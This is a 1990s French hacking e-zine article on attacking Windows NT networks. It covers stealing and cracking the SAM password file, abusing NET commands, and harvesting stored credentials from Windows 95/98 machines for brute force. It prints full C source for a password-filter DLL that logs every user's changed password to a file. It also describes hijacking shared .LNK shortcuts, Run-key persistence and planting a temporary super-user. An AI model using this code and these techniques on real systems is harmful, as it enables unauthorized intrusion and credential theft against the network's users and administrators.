(¯`'·.¸(¯`'·.¸_.·´`·._.·´`·.(¯`'·.¸ ¸.·'´¯).·´`·._.·´`·._¸.·'´¯)¸.·'´¯) ) Windows NT, les bases #1 ) 2.6 ( cyberjunk ( (_¸.·'´(_¸.·'´`·._.·´`·._.·´(_¸.·'´¯`'·.¸_)`·._.·´`·._.·´`'·.¸_)`'·.¸_) From: Cyberjunk [Snipper@Hotmail.com | www.multimania.com/cybjunk] To: Cryptel E-Zine Cc: Internet =) -------------------------------------------------------------------- 1. Introduction 2. Les réseaux Windows NT 2.1 Les protocoles 3. Les fichiers SAM.* 3.1 Ou sont-ils ? 3.3 Hack de NT en local 3.2 Comment cracker les mots de passe ? 4. Les commandes NET 4.1 Gestion des utilisateurs - Net Accounts - Net Group - Net Localgroup - Net User 4.2 Informations systéme - Net Computer - Net Config - Net Config Server - Net Session 4.3 Ressources réseau - Net Continue/Pause - Net File - Net Share - Net Start/Stop - Net Use - Net View 5. Les chevaux de troie 5.1 FPNWCLNT.DLL 5.2 Les raccourcies (.LNK) 5.3 Ou le mettre pour qu'il se lance au demmarrage ? 5.4 Quelque idées de conception 6. Windows 95/98, Failles de sécurité dans un domaine Windows NT [ Rem: Cette partie ne traite pas le méthode Netbios ] 6.1 Qui a dit que NetBios était pour les lames ? 6.2 Récupération de données pour une attaque sur NT 6.3 NAT [NetBios Auditing Tool] 7. Fin -------------------------------------------------------------------- 1. Introduction -------------------------------------------------------------------- Tout d'abord je tiens à préciser que ce texte n'est pas un RIP, mais il est obligé qu'il ressemble à certain autre vu le nombre d'article qui parle déjà de NT. A quoi sert -il ? ou A qui est-il destiné alors ? Déjà, il est en français, et a mon avis il est destiné à ceux qui ont envi de se mettre à jour. La triste vérité est là ... Windows NT s'impose dans le monde (impitoyable =) ) des serveurs... Il devrait vous permettre d'aller un plus loin que le NetBios, ou de comprendre des réseaux Microsoft dans votre université par exemple ou encore de bien préparer la future doc de Rhino 9, NT War Doc si vous n'êtes pas familier avec ce systéme. 2. Les réseaux Windows NT -------------------------------------------------------------------- 2.1 Les protocoles Windows NT commme la pluspart des OS Réseaux, accepte plusieurs protocoles et les fait fonctionner côte à côte. ------------------+------------------------------------------------------------- + NetBios/NetBeui | C'est le plus simple de tous les protocoles. developpé par | Microsoft, au temps du MsDos. Il comporte moins de 20 | commandes. ( Cf wsnetbs.h etc ... ) ------------------+------------------------------------------------------------- + NWlink | A partir de NT 3.5x. J'en sais pas plus. ------------------+------------------------------------------------------------- + TCP/IP | Je pense que c'est la peine de m'attarder la dessus. ------------------+------------------------------------------------------------- + DLC | Le protocole Data Link Control s'appuie sur le standart | 802.2 et est utilisé entre NT et les calculateurs Mainframes | ou des composants spécifiques commme les cartes JetDirect(HP) | ou markVision (LexMark). Tous ca pour dire, que vous risquez | de le croiser de temps à autre. ------------------+------------------------------------------------------------- + IPX/SPX | Réseaux utilisés pour communiquer avec NetWare (Novell) | sachant que NT n'a pas besoin de novell pour un LAN. ------------------+------------------------------------------------------------- 3. Les fichiers SAM.* -------------------------------------------------------------------- 3.1 Ou sont ils ? En fait sur un système NT Server, les mots de passe sont enregistrés dans un fichier appeller Sam, WINNTsystem32ConfigSam. Le problème de celui ce c'est qu'il est en utilisation permanente par le système. Donc il vous est impossible de l'ouvrir, et de le copier. Pour remedier a ce probleme, il existe de petit executable qui se chargeront pour vous de pouvoir vous autoriser a manipuler le fichier cible (samdump.exe par exemple). Par contre il faut savoir qu'il existe un autre Sam sur WINNTRepairsam._ Celui-ci est créer a l'installation de windows et contient donc le password administrateur. Rem: A l'inverse du premier, il n'est pas en utilisation permanente. ---- Ces fichiers (l'un ou l'autre) deviennet donc la cible d'une attaque sur NT, car l'important c'est d'avoir l'admin pour des raisons simples, avoir les droits d'accès totals sur la machines, et bien souvent sur tout le réseau =) . 3.2 Hack de NT en local Une technique tres simple consiste a booter avec une disquette dos, monter la partition NTFS avec 'ntfsdos.exe' et aller chercher le fichier de mot de passe. Une autre, basé sur le même principe, peut se faire depuis Linux. Comme c'est le cas dans mon univ, nous avons Linux/Nt en multiboot. On peut donc monter la partition Ntfs et aller chercher le fichier. Rem: Il faut être root pour utiliser la commande mount. ---- 3.3 Comment Cracker les mot de passe ? L0pht (www.l0pht.com) sont auteur d'un tres beau shareware appeller L0phtcrack, qui permet d'ouvrir un Sam, et de lancer du brute force dessus. Assez pratique la version actuelle contient même le samdump intégré. Pour ce qui est du shareware, vous pouvez l'utiliser pendant 1 semaine. Mais bon, je vou cacherez pas que le crack est dispo sur astalavista =) Toute fois, il y a aussi un programme en C dispo dans Phrack Issue 50, www.phrack.com (www.2600.com/phrack). Choisissez votre arme =) 4. Les commandes NET -------------------------------------------------------------------- Sous NT, pratiquement tout peut se être paramétré en utilisant ces commandes. L'interêt du paragraphe suivant n'est pas de re-ecrire l'aide ... =) Mais en fait, de vous faire voir ce qui est a votre portée depuis une station de travail, comment obtenir des informations sur les utilisateurs ou mot de passe par exemple ou encore comment faire des manips interessantes par rapport à la config réseaux (Domaines, Partage etc ....) L'interet secondaire de ces commandes, est de pouvoir ecrire des script intéressant ... =) En rapport avec les chevaux de trois !!! Mais vous l'aviez déja compris... j'en suis sûr ! 4.1 Gestion des utilisateurs Net Accounts ============ Si vous taper cette commande sans paramétre vous obtenez les infos relatifs au mot de passe, durée de validité, nombre de caractéres ... --------------------------------+--------------------------------------------------------- /FORCELOGOFF:[minutes|NO] | Indique en minute la durée d'une session usr sur le | serveur. Par défaut epêche une déconnexion forcée. --------------------------------+--------------------------------------------------------- /MINPWLEN:[longueur] | Taille du mot de passe --------------------------------+--------------------------------------------------------- /MAXPWAGE:[jour|unlimited] | Durée en jour de la validité des mot de passe --------------------------------+--------------------------------------------------------- /MINPWAGE:[jours] | Au bout de combien de jour le pass doit etre changer --------------------------------+--------------------------------------------------------- /UNIQUEPW:[nombre] | Repete le MEME mot de passe. Valeur max 8 --------------------------------+--------------------------------------------------------- /DOMAIN | La commande s'excutera sur le Serveur de domaine et pas | en local. --------------------------------+--------------------------------------------------------- Net Group ========= Affcihe les noms de groupe sur le serveur. --------------------------------+--------------------------------------------------------- /ADD | Ajoute un groupe --------------------------------+--------------------------------------------------------- /DELETE | Supprime un groupe --------------------------------+--------------------------------------------------------- /DOMAIN | La commande s'excutera sur le Serveur de domaine et pas | en local. --------------------------------+--------------------------------------------------------- Net Localgroup ============== Même chose sur la machine locale. Net User ======== Permet de gérer les comptes utilisateurs sur le serveur. Même si vous êtes sur un station de travail, cette commmande n'agit que sur le serveur. Exemple: net user login_user mot_de_pass [POUR LA SUITE VOIR LES PARAMS SUIVANTS] --------------------------------+--------------------------------------------------------- /ADD | Ajoute un user --------------------------------+--------------------------------------------------------- /DELETE | Supprime un user --------------------------------+--------------------------------------------------------- /DOMAIN | La commande s'excutera sur le Serveur de domaine et pas | en local. --------------------------------+--------------------------------------------------------- /ACTIVE:[YES|NO] | Active ou désactive un compte user --------------------------------+--------------------------------------------------------- /EXPIRES:[date|NEVER] | Faire désactiver un user a une date spécifique --------------------------------+--------------------------------------------------------- /HOMEDIR:chemin | Chemin du dossier de basede l'usr --------------------------------+--------------------------------------------------------- 4.2 Informations systéme Net Computer ============ Ajouter un ordinateur dans un domaine. Exepmle: NET COMPUTER \ip_de_l_ordi [PARAMATRES] --------------------------------+--------------------------------------------------------- /ADD | Ajoute un ordi --------------------------------+--------------------------------------------------------- /DEL | Supprime un ordi --------------------------------+--------------------------------------------------------- Net Config ========== Renvois des infos d'une machine. Exemple: NET CONFIG [PARAMETRE] --------------------------------+--------------------------------------------------------- SERVER | Renvoie des infos sur la config du server --------------------------------+--------------------------------------------------------- WORKSTATION | idem pour la station de travail --------------------------------+--------------------------------------------------------- Net Config Server ================= Permet de configurer de façon particuliére les serveur. Exemple: NET CONFIG SERVER [PARAMETRE] --------------------------------+--------------------------------------------------------- /AUTODISCONNECT:m | Durée de la déconnexion automatique si inactivité --------------------------------+--------------------------------------------------------- /HIDDEN | Permet de cacher un ordi lorsque l'on demande d'afficher | la liste des serveurs. --------------------------------+--------------------------------------------------------- Net Session =========== Appelle et termine les sessions d'un ordi du réseaux. Exemple: NET SESSION \ip_ordi [PARAMETRE] --------------------------------+--------------------------------------------------------- /DELETE | Termine la connexion sur un autre ordi --------------------------------+--------------------------------------------------------- 4.3 Ressources réseau Net Continue/Pause ================== Suspend ou active un service. Exemple: NET PAUSE/CONTINUE [service] Net File ======== Disponible que sur les serveurs, cette commande permet de ferme les fichiers partagé et Sans option elle renvoi la liste des fichiers ouverts sur le serveur avec leurs numéro. Exemple: NET FILE [numéro|/DELETE] --------------------------------+--------------------------------------------------------- /CLOSE | Ferme le fichier --------------------------------+--------------------------------------------------------- Net Share ========= La commande NET SHARE permet de consulter et de modifier les partages d'un serveur. Sans option, elle renvoient des informations sur les ressources partagées. Exemple: NET SHARE nom_de_partage=chemin [PARAMETRES] --------------------------------+--------------------------------------------------------- /USERS:nombre | Nbe de user ouvant y aller en même temps --------------------------------+--------------------------------------------------------- /DELETE | Arrette le partage --------------------------------+--------------------------------------------------------- Net Start ========= Arrette ou demarre un service. Exemple: NET START/STOP [service] Net Use ======= Elle permet de se connecter a un ordianteur distant. Sans option elle renvoie la liste des ressources partagées d'un ordinateu avce quelques bien spécifique. Exemple: NET USE \Ip_de_l_ordi [mot_de_passe] [PARAMETRES] --------------------------------+--------------------------------------------------------- /USER user | Nom de l'utilisateur avec lequel la connexion sera | établie (login...) --------------------------------+--------------------------------------------------------- /HOME | Relie l'utilisateur a son dossier d'origine (HOME ...) --------------------------------+--------------------------------------------------------- /DELETE | Terminer une connexion --------------------------------+--------------------------------------------------------- /PERSISTENT [YES|NO] | Rétablir a la prochaine ouverture ? --------------------------------+--------------------------------------------------------- Net View ======== Affcihe les ressources partagées. Exemple: NET VIEW \ip-de_l_ordi 5. Les chevaux de troie -------------------------------------------------------------------- 5.1 FPNWCLNT.DLL [Trouver dans le MHD de Rhino9 ] Cette Dll permet d'obtenir des noms d'utilisateurs et des mots de passe si le répertoire WinNTSystem32 est en mode Lecture et Ecriture. Le résultat est mis dans un fchier sur emp. Pour ma part je n'ai jammais trouver de tel systéme pour l'instant mais voila quand même la source .. Au cas ou v êtes plus chanceux que moi. :) ------------- cut -------------- #include #include #include struct UNI_STRING { USHORT len; USHORT maxlen; WCHAR *buff; }; static HANDLE fh; BOOLEAN __stdcall InitializeChangeNotify () { DWORD wrote; fh = CreateFile("C:\temp\pwdchange.out", GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH, 0); WriteFile(fh, "InitializeChangeNotify started ", 31, &wrote, 0); return TRUE; } LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid, struct UNI_STRING *passwd) { DWORD wrote; WCHAR wbuf[200]; char buf[512]; char buf1[200]; DWORD len; memcpy(wbuf, user->buff, user->len); len = user->len/sizeof(WCHAR); wbuf[len] = 0; wcstombs(buf1, wbuf, 199); sprintf(buf, "User = %s : ", buf1); WriteFile(fh, buf, strlen(buf), &wrote, 0); memcpy(wbuf, passwd->buff, passwd->len); len = passwd->len/sizeof(WCHAR); wbuf[len] = 0; wcstombs(buf1, wbuf, 199); sprintf(buf, "Password = %s : ", buf1); WriteFile(fh, buf, strlen(buf), &wrote, 0); sprintf(buf, "RID = %x ", rid); WriteFile(fh, buf, strlen(buf), &wrote, 0); return 0L; } ------------- cut -------------- 4.2 Les raccourcies (.LNK) Le grand interêt de ces fichiers c'est que si vous pouvez les modifer et glisser un de vos gentils script à l'interieur. Je m'explique =) Vous avez chez vous préparé un .Bat (Ou un .Reg) en jouant avec les commandes NET, qui Partage le repertoire de celui qui l'execute. Admettons, que sur le bureau commun aux utilisateurs traine un wordpad.lnk. Si vous avez les droits, rien ne vous empêche de lancer un script qui partagera le repertoire HOME de l'utilisateur et qui apres qui lance wordpad. Une autre application, pourait ce passer sur serveur partagé ou tout le monde met ce qu'il veut. Assez fréquent dans les universités pour mettre en comun des ressources. Il Pourrait trainer par la un Pussy.lnk .. ou vous pourriez modifer les raccourcis Microsoft Office... Enfin bref, de toute façon je vous je vous fais confiance pour trouver ce qu'il faut, et de toute façon ca depend extremement du server. Il n'y pas de régle en général, sauf peut-être que le TEMP est tres souvent en accés complet pour tous les utilsateurs. 5.3 Ou le mettre pour qu'il se lance au démmarage ? Pour faire exécuter une commande au démarrage vous avez le choix entre le menu démarrer ou la base de registre. Les répertoire suivant corresponde au Menu Démmarrer : - C:WinNTProfilesDefault UserStart MenuProgramsStartUp ~ US - C:WinNTProfilesDefault UserMenu DémarrerProgrammesDémarrage ~ FR Sinon vous pouvez aussi le placer dans la base de registre: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] Faites, Ajouter Châines, Puis taper le chemin de votre Script. 5.4 Quelques idées deconception: Grâce au commande NET, vous pouvez donc pratiquement configurer ou reconfiguer tous les paramétres réseaux et donc par conséquences obtenir pratiquement ce que vous voulez d'un utilisateur. Points intéressants: --------------------- N'oubliez pas que si vous n'avez pas les droits pour aller dans des répertoires clé du systéme, certain eux l'ont, arrangé vous donc qu'il lance votre script et qu'il facent ce que vous vouliez ou carrement qu'il vous donne les droits =) Un autre exepmle serait de faire ajouter un Super-utilsateur qui disparaitra au bout de 1 jour par exepmle. Je vous conseille vraiment d'installer WinNT et de tester vos programmes en Local. 6. Windows 95/98, Failles de sécurité dans un domaine Windows NT -------------------------------------------------------------------- Cette parti ne re-explique pas la methode NetBios mais à pour objectif de vous montrer quelques techniques d'attaques sur un serveur NT, en passant par des machines 95 ou 98 accéssible NetBios. 6.1 Qui a dit que NetBios était pour les lames ? Je tiens a rappeller pour ce qui avait déja mis NetBios au placard, peuvent ressortir leur attirail. Malgres le fait que ce procédé soit tres connus par la pluspart d'entre vous, je vous garantie qu'il marche encore tres bien (Surtout chez les petits ISP locaux), et c'est parfois un faille dans un réseau NT pourtant sécurisé. 6.2 Récupération de données pour une attaque sur NT Notre objectif reste toujours un serveur NT. Sur la machine 95, ramassez tout ce qui tourne autour des utilisateurs. - .pwl ~ Mot de passe de login sous 95, forte chance pour que ce soit les meme que pour NT. [CRYPTE] - ws_ftp.ini ~ Contient des mots de passe sauvgardés sur accés FTP. [CRYPTE] - pmail.ini ~ Contient des mots de passe de messagerie, par fois c'est le même que le password de login. [CRYPTE] - eudora.ini ~ Idem [CRYPTE] - mirc.ini ~ regarder la configuration du proxy. [CLAIR] - etc ... Une fois des mots de passe trouvés, cela vous constitue un bon petit dicotionnaire pour NAT. 6.3 NAT [NetBios Auditing Tool] Je pense que la majorité d'entre vous le connaissent déjà mais je tenniat à le rappeller. Ce petit utilitaire, permet de faire du brut force sur des ressources partagé. Son instalaltion est simple, un fichier contenant les noms d'utilisateurs et l'autres les mots de passes. NAT.EXE Disponible sur Technotronic. Interface graphique, Disponible sur Rhino9. 7. Fin -------------------------------------------------------------------- Bon voilà c’est fini ... Bonne chance à tous ! Le savoir n’est pas un crime ni les travaux pratiques. * Special msg: La paranoïa nous sauvera ... Have Phun !